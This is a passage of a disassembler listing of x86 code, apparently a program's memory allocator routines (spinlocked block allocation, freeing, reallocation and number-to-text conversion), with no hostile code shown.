		mov	[ecx+14h], ebx
		mov	[ebx+4], ecx
		mov	byte ptr [ebx],	0
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400017B4:				; CODE XREF: sub_40001734+28j
					; sub_40001734+C7j
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		add	ebx, 20h
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		add	ebx, 20h
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		sub	ebx, 40h
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	loc_4000175E
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_400017B4
; ---------------------------------------------------------------------------
		align 10h


loc_40001800:				; CODE XREF: sub_40001734+5Cj
		push	esi
		push	edi
		cmp	ds:byte_4001C04D, 0
		jz	short loc_4000183C


loc_4000180B:				; CODE XREF: sub_40001734+103j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_4000183C
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_4000183C
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_4000180B
; ---------------------------------------------------------------------------
		align 4


loc_4000183C:				; CODE XREF: sub_40001734+D5j
					; sub_40001734+E4j ...
		movsx	esi, byte ptr [ebx+1]
		and	esi, ds:dword_4001C724
		jz	short loc_400018B8
		bsf	eax, esi
		lea	esi, ds:0[eax*8]
		mov	ecx, ds:dword_4001C728[eax*4]
		bsf	ecx, ecx
		lea	ecx, [ecx+esi*4]
		lea	edi, off_4001C7A8[ecx*8]
		mov	esi, [edi+4]
		mov	edx, [esi+4]
		mov	[edi+4], edx
		mov	[edx], edi
		cmp	edi, edx
		jnz	short loc_4000188C
		mov	edx, 0FFFFFFFEh
		rol	edx, cl
		and	ds:dword_4001C728[eax*4], edx
		jnz	short loc_4000188C
		btr	ds:dword_4001C724, eax


loc_4000188C:				; CODE XREF: sub_40001734+13Fj
					; sub_40001734+14Fj
		mov	edi, 0FFFFFFF0h
		and	edi, [esi-4]
		cmp	edi, 10A60h
		jb	short loc_40001908
		mov	edx, edi
		movzx	edi, word ptr [ebx+1Ah]
		sub	edx, edi
		lea	eax, [edi+esi]
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		call	sub_40001510
		jmp	short loc_4000190D
; ---------------------------------------------------------------------------


loc_400018B8:				; CODE XREF: sub_40001734+112j
		movzx	ecx, word ptr [ebx+18h]
		mov	edi, ds:dword_4001C720
		cmp	edi, ecx
		jb	short loc_400018EC
		mov	esi, ds:dword_4001C71C
		movzx	ecx, word ptr [ebx+1Ah]
		lea	edx, [ecx+0B30h]
		cmp	edi, edx
		jb	short loc_400018DC
		mov	edi, ecx


loc_400018DC:				; CODE XREF: sub_40001734+1A4j
		sub	esi, edi
		sub	ds:dword_4001C720, edi
		mov	ds:dword_4001C71C, esi
		jmp	short loc_4000190D
; ---------------------------------------------------------------------------


loc_400018EC:				; CODE XREF: sub_40001734+190j
		movzx	eax, word ptr [ebx+1Ah]
		mov	edi, eax
		call	sub_400015DC
		mov	esi, eax
		test	eax, eax
		jnz	short loc_4000190D
		mov	ds:byte_4001C718, al
		mov	[ebx], al
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001908:				; CODE XREF: sub_40001734+166j
		and	byte ptr [edi+esi-4], 0F7h


loc_4000190D:				; CODE XREF: sub_40001734+182j
					; sub_40001734+1B6j ...
		lea	ecx, [edi+6]
		mov	[esi-4], ecx
		xor	eax, eax
		mov	ds:byte_4001C718, al
		mov	[esi], ebx
		mov	[esi+8], eax
		mov	dword ptr [esi+0Ch], 1
		mov	[ebx+10h], esi
		lea	eax, [esi+20h]
		movzx	ecx, word ptr [ebx+2]
		lea	edx, [ecx+eax]
		mov	[ebx+8], edx
		add	edi, esi
		sub	edi, ecx
		mov	[ebx+0Ch], edi
		mov	byte ptr [ebx],	0
		mov	[eax-4], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001948:				; CODE XREF: sub_40001734+240j
					; sub_40001734+260j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001996
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001996
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_40001948
; ---------------------------------------------------------------------------
		align 4


loc_40001978:				; CODE XREF: sub_40001734+12j
		cmp	eax, 40A2Ch
		ja	loc_40001A90
		lea	ebx, [eax+0D3h]
		and	ebx, 0FFFFFF00h
		add	ebx, 30h
		test	cl, cl
		jnz	short loc_40001948


loc_40001996:				; CODE XREF: sub_40001734+221j
					; sub_40001734+237j
		lea	edx, [ebx-0B30h]
		mov	ecx, edx
		shr	edx, 0Dh
		shr	ecx, 8
		mov	eax, 0FFFFFFFFh
		shl	eax, cl
		and	eax, ds:dword_4001C728[edx*4]
		jz	short loc_400019C0
		and	ecx, 0FFFFFFE0h
		bsf	eax, eax
		or	ecx, eax
		jmp	short loc_40001A1C
; ---------------------------------------------------------------------------
		align 10h


loc_400019C0:				; CODE XREF: sub_40001734+27Ej
		mov	eax, 0FFFFFFFEh
		mov	ecx, edx
		shl	eax, cl
		and	eax, ds:dword_4001C724
		jz	short loc_400019E8
		bsf	edx, eax
		mov	eax, ds:dword_4001C728[edx*4]
		bsf	ecx, eax
		mov	eax, edx
		shl	eax, 5
		or	ecx, eax
		jmp	short loc_40001A1C
; ---------------------------------------------------------------------------
		align 4


loc_400019E8:				; CODE XREF: sub_40001734+29Bj
		mov	ecx, ds:dword_4001C720
		sub	ecx, ebx
		jb	short loc_40001A0C
		mov	eax, ds:dword_4001C71C
		sub	eax, ebx
		mov	ds:dword_4001C71C, eax
		mov	ds:dword_4001C720, ecx
		or	ebx, 2
		mov	[eax-4], ebx
		jmp	short loc_40001A13
; ---------------------------------------------------------------------------


loc_40001A0C:				; CODE XREF: sub_40001734+2BCj
		mov	eax, ebx
		call	sub_400015DC


loc_40001A13:				; CODE XREF: sub_40001734+2D6j
		mov	ds:byte_4001C718, 0
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001A1C:				; CODE XREF: sub_40001734+288j
					; sub_40001734+2B1j
		push	esi
		push	edi
		lea	edi, off_4001C7A8[ecx*8]
		mov	esi, [edi+4]
		mov	eax, [esi+4]
		mov	[edi+4], eax
		mov	[eax], edi
		cmp	edi, eax
		jnz	short loc_40001A4B
		mov	eax, 0FFFFFFFEh
		rol	eax, cl
		and	ds:dword_4001C728[edx*4], eax
		jnz	short loc_40001A4B
		btr	ds:dword_4001C724, edx


loc_40001A4B:				; CODE XREF: sub_40001734+2FEj
					; sub_40001734+30Ej
		mov	edi, 0FFFFFFF0h
		and	edi, [esi-4]
		mov	edx, edi
		sub	edx, ebx
		jz	short loc_40001A78
		lea	eax, [ebx+esi]
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		cmp	edx, 0B30h
		jb	short loc_40001A7D
		call	sub_40001510
		jmp	short loc_40001A7D
; ---------------------------------------------------------------------------
		align 4


loc_40001A78:				; CODE XREF: sub_40001734+323j
		and	byte ptr [edi+esi-4], 0F7h


loc_40001A7D:				; CODE XREF: sub_40001734+338j
					; sub_40001734+33Fj
		lea	ecx, [ebx+2]
		mov	[esi-4], ecx
		mov	ds:byte_4001C718, 0
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001A90:				; CODE XREF: sub_40001734+249j
		pop	ebx
		test	eax, eax
		jns	sub_40001694
		xor	eax, eax
		retn
sub_40001734	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40001A9C	proc near		; CODE XREF: sub_40001C7C+48p
					; sub_40001C7C+8Cp ...
		mov	edx, [eax-4]
		test	dl, 7
		mov	ecx, eax
		push	ebx
		mov	bl, ds:byte_4001C04D
		jnz	loc_40001B7C
		test	bl, bl
		mov	ebx, [edx]
		jnz	short loc_40001B18


loc_40001AB7:				; CODE XREF: sub_40001A9C+85j
					; sub_40001A9C+9Bj
		sub	dword ptr [edx+0Ch], 1
		mov	eax, [edx+8]
		jz	short loc_40001AEC
		test	eax, eax
		mov	[edx+8], ecx
		lea	eax, [eax+1]
		mov	[ecx-4], eax
		jz	short loc_40001AD4
		xor	eax, eax
		mov	[ebx], al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001AD4:				; CODE XREF: sub_40001A9C+2Fj
		mov	ecx, [ebx+4]
		mov	[edx+14h], ebx
		mov	[edx+4], ecx
		mov	[ecx+14h], edx
		mov	[ebx+4], edx
		mov	byte ptr [ebx],	0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001AEC:				; CODE XREF: sub_40001A9C+22j
		test	eax, eax
		jz	short loc_40001B03
		mov	eax, [edx+14h]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	[ecx+14h], eax
		xor	eax, eax
		cmp	[ebx+10h], edx
		jnz	short loc_40001B06


loc_40001B03:				; CODE XREF: sub_40001A9C+52j
		mov	[ebx+0Ch], eax


loc_40001B06:				; CODE XREF: sub_40001A9C+65j
		mov	[ebx], al
		mov	eax, edx
		mov	edx, [edx-4]
		mov	bl, ds:byte_4001C04D
		jmp	short loc_40001B85
; ---------------------------------------------------------------------------
		align 4


loc_40001B18:				; CODE XREF: sub_40001A9C+19j
					; sub_40001A9C+ACj
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_40001AB7
		push	ecx
		push	edx
		push	0
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	loc_40001AB7
		push	ecx
		push	edx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		jmp	short loc_40001B18
; ---------------------------------------------------------------------------
		align 4


loc_40001B4C:				; CODE XREF: sub_40001A9C+DCj
					; sub_40001A9C+F3j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001B91
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001B91
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_40001B4C
; ---------------------------------------------------------------------------
		align 4


loc_40001B7C:				; CODE XREF: sub_40001A9C+Fj
		test	dl, 5
		jnz	loc_40001C6C


loc_40001B85:				; CODE XREF: sub_40001A9C+77j
		and	edx, 0FFFFFFF0h
		test	bl, bl
		mov	ebx, edx
		push	esi
		mov	esi, eax
		jnz	short loc_40001B4C


loc_40001B91:				; CODE XREF: sub_40001A9C+BDj
					; sub_40001A9C+D3j
		test	dword ptr [ebx+esi-4], 1
		mov	ecx, [ebx+esi-4]
		jnz	short loc_40001BD4
		or	ecx, 8
		mov	[ebx+esi-4], ecx


loc_40001BA6:				; CODE XREF: sub_40001A9C+146j
					; sub_40001A9C+14Dj
		test	byte ptr [esi-4], 8
		jnz	short loc_40001BEC


loc_40001BAC:				; CODE XREF: sub_40001A9C+15Dj
					; sub_40001A9C+166j
		cmp	ebx, 13FFF0h
		jz	short loc_40001C04
		lea	eax, [ebx+3]
		mov	[esi-4], eax
		mov	[ebx+esi-8], ebx
		mov	eax, esi
		mov	edx, ebx
		call	sub_40001510
		mov	ds:byte_4001C718, 0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001BD4:				; CODE XREF: sub_40001A9C+101j
		lea	eax, [ebx+esi]
		and	ecx, 0FFFFFFF0h
		add	ebx, ecx
		cmp	ecx, 0B30h
		jb	short loc_40001BA6
		call	sub_400014D0
		jmp	short loc_40001BA6
; ---------------------------------------------------------------------------
		align 4


loc_40001BEC:				; CODE XREF: sub_40001A9C+10Ej
		mov	ecx, [esi-8]
		sub	esi, ecx
		add	ebx, ecx
		cmp	ecx, 0B30h
		jb	short loc_40001BAC
		mov	eax, esi
		call	sub_400014D0
		jmp	short loc_40001BAC
; ---------------------------------------------------------------------------


loc_40001C04:				; CODE XREF: sub_40001A9C+116j
		cmp	ds:dword_4001C720, 13FFF0h
		jnz	short loc_40001C3C
		sub	esi, 10h
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	[eax+4], edx
		mov	[edx], eax
		mov	ds:byte_4001C718, 0
		push	8000h
		push	0
		push	esi
		call	sub_400012CC	; VirtualFree
		cmp	eax, 1
		sbb	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001C3C:				; CODE XREF: sub_40001A9C+172j
		lea	ebx, [esi+13FFF0h]
		call	sub_40001570
		mov	dword ptr [ebx-4], 2
		mov	ds:dword_4001C720, 13FFF0h
		mov	ds:dword_4001C71C, ebx
		mov	ds:byte_4001C718, 0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001C6C:				; CODE XREF: sub_40001A9C+E3j
		pop	ebx
		test	dl, 3
		jz	sub_400016F8
		mov	eax, 0FFFFFFFFh
		retn
sub_40001A9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40001C7C	proc near		; CODE XREF: sub_40002C54+Dp
					; DATA XREF: .data:off_4001A72Co
		mov	ecx, [eax-4]
		test	cl, 7
		push	ebx
		push	esi
		mov	esi, eax
		jnz	loc_40001D14
		mov	ebx, [ecx]
		movzx	ecx, word ptr [ebx+2]
		sub	ecx, 4
		cmp	ecx, edx
		jb	short loc_40001CD0
		lea	ebx, ds:40h[edx*4]
		cmp	ebx, ecx
		jb	short loc_40001CA8
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001CA8:				; CODE XREF: sub_40001C7C+26j
		mov	ebx, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001CCB
		mov	ecx, ebx
		mov	edx, eax
		mov	ebx, eax
		mov	eax, esi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx


loc_40001CCB:				; CODE XREF: sub_40001C7C+37j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40001CD0:				; CODE XREF: sub_40001C7C+1Bj
		lea	ecx, [ecx+ecx+20h]
		push	edi
		mov	edi, edx
		xor	eax, eax
		sub	ecx, edx
		adc	eax, 0FFFFFFFFh
		and	eax, ecx
		add	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001D0F
		cmp	edi, 40A2Ch
		jbe	short loc_40001CF6
		mov	[eax-8], edi


loc_40001CF6:				; CODE XREF: sub_40001C7C+75j
		movzx	ecx, word ptr [ebx+2]
		sub	ecx, 4
		mov	edx, eax
		mov	edi, eax
		mov	eax, esi
		call	dword ptr [ebx+1Ch]
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, edi


loc_40001D0F:				; CODE XREF: sub_40001C7C+6Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001D14:				; CODE XREF: sub_40001C7C+Aj
		test	cl, 5
		jnz	loc_40001F68
		mov	ebx, ecx
		and	ecx, 0FFFFFFF0h
		push	edi
		lea	edi, [ecx+eax]
		sub	ecx, 4
		and	ebx, 0Fh
		cmp	edx, ecx
		push	ebp
		ja	loc_40001E34
		lea	ebp, [edx+edx]
		cmp	ebp, ecx
		jb	short loc_40001D44
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001D44:				; CODE XREF: sub_40001C7C+BEj
		cmp	edx, 0B2Ch
		jnb	short loc_40001D5D
		cmp	ebp, 0B2Ch
		jb	loc_40001E0C
		mov	edx, 0B2Ch


loc_40001D5D:				; CODE XREF: sub_40001C7C+CEj
		lea	ebp, [edx+0D3h]
		and	ebp, 0FFFFFF00h
		add	ebp, 30h
		add	ecx, 4
		sub	ecx, ebp
		cmp	ds:byte_4001C04D, 0
		jz	short loc_40001DB4


loc_40001D7A:				; CODE XREF: sub_40001C7C+12Ej
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001DAC
		push	ecx
		push	0
		call	sub_400012D4	; Sleep
		pop	ecx
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001DAC
		push	ecx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	ecx
		jmp	short loc_40001D7A
; ---------------------------------------------------------------------------


loc_40001DAC:				; CODE XREF: sub_40001C7C+10Bj
					; sub_40001C7C+123j
		mov	ebx, 0Fh
		and	ebx, [esi-4]


loc_40001DB4:				; CODE XREF: sub_40001C7C+FCj
		or	ebx, ebp
		mov	[esi-4], ebx
		mov	ebx, ecx
		mov	edx, [edi-4]
		test	dl, 1
		jnz	short loc_40001DCC
		or	edx, 8
		mov	[edi-4], edx
		jmp	short loc_40001DE2
; ---------------------------------------------------------------------------
		align 4


loc_40001DCC:				; CODE XREF: sub_40001C7C+145j
		mov	eax, edi
		and	edx, 0FFFFFFF0h
		add	ebx, edx
		add	edi, edx
		cmp	edx, 0B30h
		jb	short loc_40001DE2
		call	sub_400014D0


loc_40001DE2:				; CODE XREF: sub_40001C7C+14Dj
					; sub_40001C7C+15Fj
		mov	[edi-8], ebx
		lea	eax, [ebx+3]
		mov	[esi+ebp-4], eax
		cmp	ebx, 0B30h
		jb	short loc_40001DFE
		lea	eax, [esi+ebp]
		mov	edx, ebx
		call	sub_40001510


loc_40001DFE:				; CODE XREF: sub_40001C7C+176j
		mov	ds:byte_4001C718, 0
		mov	eax, esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001E0C:				; CODE XREF: sub_40001C7C+D6j
		mov	edi, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001E2F
		mov	ebp, eax
		mov	edx, eax
		mov	eax, esi
		mov	ecx, edi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebp


loc_40001E2F:				; CODE XREF: sub_40001C7C+19Bj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001E34:				; CODE XREF: sub_40001C7C+B3j
		mov	eax, [edi-4]
		test	al, 1
		jz	loc_40001F20
		and	eax, 0FFFFFFF0h
		lea	ebp, [ecx+eax]
		cmp	edx, ebp
		ja	loc_40001F20
		cmp	ds:byte_4001C04D, 0
		jz	short loc_40001EA5


loc_40001E56:				; CODE XREF: sub_40001C7C+20Ej
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001E8C
		push	ecx
		push	edx
		push	0
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001E8C
		push	ecx
		push	edx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		jmp	short loc_40001E56
; ---------------------------------------------------------------------------


loc_40001E8C:				; CODE XREF: sub_40001C7C+1E7j
					; sub_40001C7C+201j
		mov	ebx, 0Fh
		and	ebx, [esi-4]
		mov	eax, [edi-4]
		test	al, 1
		jz	short loc_40001F19
		and	eax, 0FFFFFFF0h
		lea	ebp, [ecx+eax]
		cmp	edx, ebp
		ja	short loc_40001F19


loc_40001EA5:				; CODE XREF: sub_40001C7C+1D8j
		cmp	eax, 0B30h
		jb	short loc_40001EB7
		mov	eax, edi
		push	ecx
		push	edx
		call	sub_400014D0
		pop	edx
		pop	ecx


loc_40001EB7:				; CODE XREF: sub_40001C7C+22Ej
		mov	eax, ecx
		shr	eax, 2
		add	eax, ecx
		xor	edi, edi
		sub	eax, edx
		adc	edi, 0FFFFFFFFh
		and	eax, edi
		lea	eax, [edx+eax+0D3h]
		and	eax, 0FFFFFF00h
		add	eax, 30h
		lea	edx, [ebp+4]
		sub	edx, eax
		ja	short loc_40001EE8
		and	dword ptr [esi+ebp], 0FFFFFFF7h
		add	ebp, 4
		jmp	short loc_40001F04
; ---------------------------------------------------------------------------
		align 4


loc_40001EE8:				; CODE XREF: sub_40001C7C+25Fj
		mov	[esi+ebp-4], edx
		lea	edi, [edx+3]
		mov	[eax+esi-4], edi
		mov	ebp, eax
		cmp	edx, 0B30h
		jb	short loc_40001F04
		add	eax, esi
		call	sub_40001510


loc_40001F04:				; CODE XREF: sub_40001C7C+268j
					; sub_40001C7C+27Fj
		or	ebp, ebx
		mov	[esi-4], ebp
		mov	ds:byte_4001C718, 0
		mov	eax, esi


loc_40001F12:				; CODE XREF: sub_40001C7C+2C3j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_40001F19:				; CODE XREF: sub_40001C7C+21Dj
					; sub_40001C7C+227j
		mov	ds:byte_4001C718, 0


loc_40001F20:				; CODE XREF: sub_40001C7C+1BDj
					; sub_40001C7C+1CBj
		mov	eax, ecx
		shr	eax, 2
		add	eax, ecx
		xor	edi, edi
		sub	eax, edx
		adc	edi, 0FFFFFFFFh
		and	eax, edi
		add	eax, edx
		mov	ebp, eax
		mov	edi, ecx
		push	edx
		call	sub_40001734
		pop	edx
		test	eax, eax
		jz	short loc_40001F12
		cmp	ebp, 40A2Ch
		jbe	short loc_40001F4C
		mov	[eax-8], edx


loc_40001F4C:				; CODE XREF: sub_40001C7C+2CBj
		mov	ebp, eax
		mov	edx, eax
		mov	eax, esi
		mov	ecx, edi
		call	sub_40001484
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebp
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001F68:				; CODE XREF: sub_40001C7C+9Bj
		test	cl, 3
		jnz	loc_40001FFC
		sub	ecx, 18h
		cmp	edx, ecx
		jbe	short loc_40001FBC
		mov	eax, ecx
		shr	ecx, 2
		add	ecx, eax
		xor	eax, eax
		sub	ecx, edx
		adc	eax, 0FFFFFFFFh
		and	eax, ecx
		add	eax, edx
		mov	ebx, eax
		push	edx
		call	sub_40001734
		pop	edx
		test	eax, eax
		jz	short loc_40001FB9
		cmp	ebx, 40A2Ch
		jbe	short loc_40001FA2
		mov	[eax-8], edx


loc_40001FA2:				; CODE XREF: sub_40001C7C+321j
		mov	ecx, [esi-8]
		mov	ebx, eax
		mov	edx, eax
		mov	eax, esi
		call	sub_40001484
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx


loc_40001FB9:				; CODE XREF: sub_40001C7C+319j
					; sub_40001C7C+357j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001FBC:				; CODE XREF: sub_40001C7C+2FAj
		shr	ecx, 1
		cmp	edx, ecx
		jb	short loc_40001FC8
		mov	[eax-8], edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001FC8:				; CODE XREF: sub_40001C7C+344j
		mov	ebx, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001FB9
		cmp	ebx, 40A2Ch
		jbe	short loc_40001FE0
		mov	[eax-8], ebx


loc_40001FE0:				; CODE XREF: sub_40001C7C+35Fj
		mov	ecx, ebx
		mov	ebx, eax
		mov	edx, eax
		mov	eax, esi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001FFC:				; CODE XREF: sub_40001C7C+2EFj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40001C7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002004	proc near		; CODE XREF: sub_40002C08+4p
					; DATA XREF: .data:off_4001A730o
		push	ebx
		lea	ebx, [eax-1]
		and	ebx, 0FFFFFFFCh
		call	sub_40001734
		cmp	eax, 1
		sbb	ecx, ecx
		lea	edx, [ebx+eax]
		or	ebx, ecx
		cmp	ebx, 40A2Ch
		jnb	short loc_40002032
		neg	ebx
		fldz


loc_40002026:				; CODE XREF: sub_40002004+28j
		fst	qword ptr [ebx+edx]
		add	ebx, 8
		js	short loc_40002026
		mov	[edx], ecx
		ffree	st


loc_40002032:				; CODE XREF: sub_40002004+1Cj
		pop	ebx
		retn
sub_40002004	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002034	proc near		; CODE XREF: sub_40002540+D1p
		mov	ecx, eax
		mov	edx, ecx
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 0FFFFFFF0h
		add	edx, ecx
		mov	eax, edx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 0FFFFFFF0h
		test	edx, edx
		jnz	short locret_40002054
		xor	eax, eax

locret_40002054:			; CODE XREF: sub_40002034+1Cj
		retn
sub_40002034	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002058	proc near		; CODE XREF: sub_40002540+5Fp
		cmp	ds:dword_4001C720, 0
		jz	short loc_4000207B
		mov	edx, ds:dword_4001C71C
		cmp	edx, eax
		jb	short loc_4000207B
		mov	edx, eax
		add	edx, 140000h
		cmp	edx, ds:dword_4001C71C
		jnb	short loc_4000207F


loc_4000207B:				; CODE XREF: sub_40002058+7j
					; sub_40002058+11j
		add	eax, 10h
		retn
; ---------------------------------------------------------------------------


loc_4000207F:				; CODE XREF: sub_40002058+21j
		cmp	ds:dword_4001C720, 13FFF0h
		jz	short loc_40002092
		mov	eax, ds:dword_4001C71C
		jmp	short locret_40002094
; ---------------------------------------------------------------------------


loc_40002092:				; CODE XREF: sub_40002058+31j
		xor	eax, eax

locret_40002094:			; CODE XREF: sub_40002058+38j
		retn
sub_40002058	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002098	proc near		; CODE XREF: sub_400023F4+30p
		push	ebx
		push	esi
		mov	ebx, eax
		add	ebx, 20h
		mov	[edx], ebx
		mov	edx, [eax]
		cmp	eax, [edx+10h]
		jnz	short loc_400020B0
		mov	ebx, [edx+8]
		cmp	ebx, [edx+0Ch]
		jbe	short loc_400020C9


loc_400020B0:				; CODE XREF: sub_40002098+Ej
		mov	esi, eax
		mov	ebx, esi
		sub	ebx, 4
		mov	ebx, [ebx]
		and	ebx, 0FFFFFFF0h
		add	ebx, esi
		movzx	eax, word ptr [edx+2]
		sub	ebx, eax
		mov	[ecx], ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400020C9:				; CODE XREF: sub_40002098+16j
		mov	eax, [edx+8]
		dec	eax
		mov	[ecx], eax
		pop	esi
		pop	ebx
		retn
sub_40002098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400020D4	proc near		; CODE XREF: sub_40002540+20Bp
					; sub_40002540+226p ...
		push	edi
		mov	edi, edx
		add	eax, 1
		mov	edx, 89705F41h
		mul	edx
		shr	eax, 1Eh
		mov	ecx, edx
		and	edx, 1FFFFFFFh
		shr	ecx, 1Dh
		lea	edx, [edx+edx*4]
		add	edx, eax
		mov	eax, ecx
		or	eax, 30h
		mov	[edi], al
		mov	eax, edx
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Ch
		and	edx, 0FFFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Bh
		and	edx, 7FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Ah
		and	edx, 3FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 19h
		and	edx, 1FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 18h
		and	edx, 0FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 17h
		and	edx, 7FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 16h
		and	edx, 3FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 15h
		and	edx, 1FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 14h
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edi+1]
		pop	edi
		retn
